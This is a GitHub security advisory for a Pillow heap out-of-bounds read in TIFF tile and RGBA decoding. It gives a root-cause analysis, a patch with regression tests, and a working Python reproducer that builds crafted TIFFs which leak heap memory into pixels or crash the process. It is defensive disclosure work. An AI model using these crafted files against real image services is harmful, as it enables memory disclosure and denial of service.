{"id":"GHSA-c6hw-5grf-ff96","summary":"Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels","details":"```\n============================================================================\nOOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels\nLocation: src/libImaging/TiffDecode.c:483  in _decodeTile()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.\n\nThe bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it.\n\nThe two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.\n\nThe tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).\n\nThe attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` ← `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer.\n\n## Details\n\n`_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state-\u003ebuffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state-\u003ebits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, …); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.\n\nThe ~400-byte TIFF `tile_count2.tif` generated by the reproducer — one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) — is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0–12 and different bytes in rows 13–15 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 ← _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).\n\n### Why the two parsers disagree\n\nlibtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`.\n\nPillow keeps the first value and carries on:\n\n```python\n# src/PIL/TiffImagePlugin.py:762-770  (ImageFileDirectory_v2._setitem, reached from load())\n            try:\n                (dest[tag],) = values\n            except ValueError:\n                # We've got a builtin tag with 1 expected entry\n                warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\")\n                dest[tag] = values[0]\n```\n\nso `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode:\n\n```python\n# src/PIL/TiffImagePlugin.py:1578, 1600-1607\n        self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\"\n        …\n            if photo == 6:\n                self._mode = \"RGB\"\n                if self._compression in \"jpeg\" and self._planar_configuration == 1:\n                    rawmode = \"RGB\"\n                else:\n                    rawmode = \"RGBX\"\n```\n\n`RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state-\u003ebits = 32` and `state-\u003eshuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff's* reading of the tag, which here is \"not YCbCr\":\n\n```c\n// src/libImaging/TiffDecode.c:737-764\n    TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric);   // unset -\u003e stays 0\n    …\n    readAsRGBA = photometric == PHOTOMETRIC_YCBCR;          // 0\n    …\n        if (TIFFIsTiled(tiff)) {\n            _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4\n```\n\n### The missing check\n\n`_decodeTile()` only guards against libtiff's tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler:\n\n```c\n// src/libImaging/TiffDecode.c:403-487  (_decodeTile)\n    tile_bytes_size = TIFFTileSize(tiff);                      // 256\n    …\n    row_byte_size = TIFFTileRowSize(tiff);                     // 16\n    …\n    if (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n        // 256 \u003e 1024 is false -\u003e no abort\n        …\n    }\n    state-\u003ebytes = tile_bytes_size;\n    new_data = realloc(state-\u003ebuffer, state-\u003ebytes);           // 256-byte buffer (line 448)\n    …\n                for (tile_y = 0; tile_y \u003c current_tile_length; tile_y++) {\n                    shuffler(                                   // copy4: reads current_tile_width*4 = 64 bytes\n                        (UINT8 *)im-\u003eimage[tile_y + y] + x * im-\u003epixelsize,\n                        state-\u003ebuffer + tile_y * row_byte_size, // from offset 16*tile_y\n                        current_tile_width\n                    );\n```\n\nRow `tile_y` is read from `[16·tile_y, 16·tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state-\u003ebits / libtiff_bits_per_pixel − 1) × row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`.\n\nNote also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state-\u003ebits` in 32-bit unsigned arithmetic, so `tile_width * state-\u003ebits` wraps for `tile_width ≥ 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152×1 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L ← _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.\n\nCompare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0):\n\n```c\n// src/libImaging/TiffDecode.c:528-548  (_decodeStrip)\n    unpacker_row_byte_size = (state-\u003exsize * state-\u003ebits / planes + 7) / 8;\n    …\n    row_byte_size = TIFFScanlineSize(tiff);\n    // if the unpacker calculated row size is \u003e row byte size, (at least) the last\n    // row of the strip will have a read buffer overflow.\n    if (row_byte_size == 0 || unpacker_row_byte_size \u003e row_byte_size) {\n        state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n        return -1;\n    }\n```\n\nThe identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check.\n\n### Same gap in `_decodeAsRGBA()`\n\n`_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state-\u003eshuffle` (line 373) without looking at `state-\u003ebits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer's `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state-\u003ebits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row — ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`.\n\nThe count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 (\"Do not open YCbCr colorspace images as RGB without libtiff (#9779)\", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` ← `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer's `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way.\n\n## Impact\n\nAny application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state-\u003ebuffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp − 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption.\n\nThis is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a (\"Check for dimensions and sizes to fit into int\", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow's unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 (\"Fix CVE-2020-35654 - OOB Write in TiffDecode.c\"), first in 8.1.0.\n\n## Reproducing\n\nRun `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.\n\nThe script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:\n\n- **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).\n- **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions.\n- **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel).\n- **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile.\n\nFor each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) ← `_decodeTile` (`TiffDecode.c:483`) ← `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive.\n\nEach step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`.\n\n## Suggested fix\n\nThe attached patch restores the `_decodeStrip()` invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer:\n\n- `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state-\u003ebits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size \u003e row_byte_size` (`TIFFTileRowSize()`).\n- `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state-\u003ebits \u003e 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation.\n\nWith the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass.\n\nThese checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as \"unknown pixel mode\", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.\n\n## The patch\n\nReject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does\n\nApplies to `src/libImaging/TiffDecode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..c08dfe77c 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase):\n             with pytest.raises(OSError, match=\"decoder error -9\"):\n                 im.load()\n \n+    @pytest.mark.parametrize(\n+        \"data\",\n+        (\n+            # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that\n+            # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel)\n+            # while libtiff ignores it and decodes 1 byte/pixel.\n+            (\n+                b\"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA\"\n+                b\"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA\"\n+                b\"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4\"\n+                b\"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm\"\n+                b\"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT\"\n+                b\"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A\"\n+                b\"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt\"\n+                b\"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna\"\n+                b\"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=\"\n+            ),\n+            # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation\n+            # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA)\n+            # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel).\n+            (\n+                b\"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA\"\n+                b\"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA\"\n+                b\"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB\"\n+                b\"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS\"\n+                b\"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3\"\n+                b\"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J\"\n+                b\"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x\"\n+                b\"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w\"\n+                b\"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x\"\n+                b\"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA\"\n+                b\"EAAQAA==\"\n+            ),\n+        ),\n+    )\n+    @pytest.mark.filterwarnings(\"ignore:Metadata Warning\")\n+    def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -\u003e None:\n+        # The unpacker chosen by Pillow reads more bytes per row than libtiff\n+        # decoded, so the decoder must reject the image rather than read past\n+        # the end of its buffer\n+        with Image.open(io.BytesIO(base64.b64decode(data))) as im:\n+            with pytest.raises(OSError, match=\"decoder error -2\"):\n+                im.load()\n+\n     @pytest.mark.parametrize(\"compression\", (\"tiff_adobe_deflate\", \"jpeg\"))\n     def test_save_multistrip(self, compression: str, tmp_path: Path) -\u003e None:\n         im = hopper(\"RGB\").resize((256, 256))\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..2ee6c5f0a 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) {\n \n     TRACE((\"RowsPerBlock: %u \\n\", rows_per_block));\n \n+    // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel\n+    // than that, (at least) the last row of the block will have a read buffer\n+    // overflow.\n+    if (state-\u003ebits \u003e 32) {\n+        TRACE((\"Decode Error, unpacker bits %d \u003e 32\\n\", state-\u003ebits));\n+        state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n+        return -1;\n+    }\n+\n     if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) {\n         TRACE((\"Decode error, msg: %s\", emsg));\n         state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n@@ -397,7 +406,7 @@ _decodeTile(\n ) {\n     INT32 x, y, tile_y, current_tile_length, current_tile_width;\n     UINT32 tile_width, tile_length;\n-    tsize_t tile_bytes_size, row_byte_size;\n+    tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size;\n     UINT8 *new_data;\n \n     tile_bytes_size = TIFFTileSize(tiff);\n@@ -431,7 +440,8 @@ _decodeTile(\n         return -1;\n     }\n \n-    if (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n+    unpacker_row_byte_size = ((tsize_t)tile_width * state-\u003ebits / planes + 7) / 8;\n+    if (tile_bytes_size \u003e (unpacker_row_byte_size * tile_length)) {\n         // If the tile size as expected by LibTiff isn't what we're expecting, abort.\n         // man:   TIFFTileSize returns the equivalent size for a tile of data as it\n         // would be returned in a call to TIFFReadTile ...\n@@ -439,6 +449,13 @@ _decodeTile(\n         return -1;\n     }\n \n+    // if the unpacker calculated row size is \u003e row byte size, (at least) the last\n+    // row of the tile will have a read buffer overflow.\n+    if (unpacker_row_byte_size \u003e row_byte_size) {\n+        state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n+        return -1;\n+    }\n+\n     state-\u003ebytes = tile_bytes_size;\n \n     TRACE((\"TIFFTileSize: %d\\n\", state-\u003ebytes));\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 4,178 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build,\n# no sanitizer needed.  Pillow picks the row unpacker from its own IFD parse, libtiff sizes the\n# decode buffer from its parse; when they disagree the unpacker reads past state-\u003ebuffer and the\n# bytes land in the image.  Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's\n# MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile\n# SIGSEGVs in copy4 \u003c- _decodeTile.  Runs in a few seconds.\nimport os, shutil, struct, subprocess, sys, tempfile, zlib\n\nW = tempfile.mkdtemp(); S, L = 3, 4\n\ndef tiff(entries, data):                      # little-endian classic TIFF, one IFD, tags in given order\n    data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data)\n    ifd, extra = struct.pack(\"\u003cH\", len(entries)), b\"\"\n    for tag, typ, vals in entries:\n        if vals is None: typ, vals = L, [data_off]\n        raw = b\"\".join(struct.pack(\"\u003cH\" if typ == S else \"\u003cL\", v) for v in vals)\n        if len(raw) \u003e 4: raw, extra = struct.pack(\"\u003cL\", extra_off + len(extra)), extra + raw\n        ifd += struct.pack(\"\u003cHHL\", tag, typ, len(vals)) + raw.ljust(4, b\"\\0\")\n    return b\"II*\\0\" + struct.pack(\"\u003cL\", 8) + ifd + b\"\\0\" * 4 + data + extra\n\ndef tile(w, h, spp, photo):                   # one deflate tile, 8 bit/sample\n    d = zlib.compress(bytes(i % 251 for i in range(w * h * spp)))\n    return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo +\n                [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)\n\nd = zlib.compress(bytes(range(256)) * 3)\nfiles = {\n  # Photometric count 2 (6,6): libtiff ignores tag -\u003e 1 B/px; Pillow keeps 6 -\u003e RGBX copy4 4 B/px (HEAD only)\n  \"tile_count2.tif\": tile(16, 16, 1, [(262, S, [6, 6])]),\n  # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions)\n  \"tile_dup.tif\": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]),\n  # strip, libtiff sees 8-bit YCbCr -\u003e _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -\u003e 6 B/px\n  \"ycbcr_dup.tif\": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]),\n        (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]),\n        (530, S, [1, 1])], d),\n  \"tile_big.tif\": tile(65536, 16, 1, [(262, S, [6, 6])]),\n}\nfor n, b in files.items():\n    open(f\"{W}/{n}\", \"wb\").write(b)\n\nLOAD = r\"\"\"\nimport sys, warnings; warnings.simplefilter(\"ignore\")\nfrom PIL import Image\nim = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr)\nim.load(); sys.stdout.write(im.tobytes().hex())\n\"\"\"\ndef run(name, perturb):\n    p = subprocess.run([sys.executable, \"-c\", LOAD, f\"{W}/{name}\"], capture_output=True, text=True,\n                       env=dict(os.environ, MALLOC_PERTURB_=str(perturb)))\n    return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [\"\"]\n\nleak = False\nfor n in (\"tile_count2.tif\", \"tile_dup.tif\", \"ycbcr_dup.tif\"):\n    r1, a, info = run(n, 85); r2, b, _ = run(n, 170)\n    print(f\"== {n}: {info[0]} rc={r1},{r2}\")\n    if r1 == 0 and r2 == 0 and a != b:\n        i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2])\n        print(f\"   pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:\")\n        print(f\"   PERTURB=85 : ...{a[i-8:i+40]}\\n   PERTURB=170: ...{b[i-8:i+40]}\")\n        leak = True\n    else:\n        print(\"   identical output / error -\u003e no leak observed\")\n\nrc, _, info = run(\"tile_big.tif\", 0)\nprint(f\"== tile_big.tif: {info[0]} rc={rc}\" + (\"  (SIGSEGV)\" if rc == -11 else \"\"))\ncrash = rc == -11\nif crash and shutil.which(\"gdb\"):\n    bt = subprocess.run([\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 4\", \"--args\", sys.executable, \"-c\", LOAD,\n                         f\"{W}/tile_big.tif\"], capture_output=True, text=True).stdout\n    print(\"\\n\".join(l for l in bt.splitlines() if l.startswith(\"#\")))\nshutil.rmtree(W)\nprint(f\"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}\")\nprint(\"BUG\" if leak or crash else \"OK\")\n```\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-112404"],"modified":"2026-10-20T21:00:04.387041458Z","published":"2026-10-20T20:42:00Z","database_specific":{"github_reviewed_at":"2026-10-20T20:42:00Z","nvd_published_at":"2026-10-19T22:17:07Z","cwe_ids":["CWE-125","CWE-126"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112404"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c6hw-5grf-ff96/GHSA-c6hw-5grf-ff96.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N"}]}